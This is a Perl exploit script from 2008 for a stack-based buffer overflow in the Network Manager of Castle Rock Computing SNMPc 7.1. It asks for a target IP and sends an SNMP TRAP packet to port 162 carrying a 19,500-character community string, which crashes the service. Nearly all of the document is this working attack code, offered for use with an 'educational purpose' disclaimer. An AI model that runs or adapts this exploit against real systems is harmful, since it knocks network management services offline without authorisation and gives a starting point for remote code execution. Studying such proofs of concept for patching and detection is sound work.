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#!usr/bin/perl -w
################################################################################################################
# Stack-based buffer overflow in the Network Manager in Castle Rock Computing SNMPc 7.1 and
# earlier allows remote attackers to cause a denial of service (crash) or execute arbitrary code
# via a long community string in an SNMP TRAP packet.
#
# Refer:
# http://web.nvd.nist.gov/view/vuln/detail?execution=e3s1
# http://www.securityfocus.com/bid/28990/discuss
#
#
# To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
# (say #!C:/Program Files/Perl/bin/perl -w)
#
# This was strictly written for educational purpose. Use it at your own risk.
# Author will not bare any responsibility for any damages watsoever.
#
# Author: Praveen Darshanam
# Email: praveen[underscore]recker[at]sify.com
# Date: 11th November, 2008
#
# NOTE: Thanks to all my colleagues at iPolicy
# For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################
use Net::SNMP;
printf("Enter the IP Adress of Vulnerable SNMP Manager ");
$host_vulnerable = <STDIN>;
$port = 162;
$community = "D" x 19500;
($session, $error) = Net::SNMP->session(
-hostname => $host_vulnerable,
-port => $port,
-community => $community, # v1/v2c
-maxmsgsize => 65535,
);
if (!defined($session))
{
printf("ERROR: %s.\n", $error);
exit 1;
}
$ipaddress = "172.16.16.4";
#Throwing an error without Agent so randomly assigned value to $ipaddress
$result = $session->trap(
-agentaddr => $ipaddress,
);
if (!defined($result))
{
printf("ERROR: %s.\n", $session->error);
$session->close;
exit 1;
}
$session->close;
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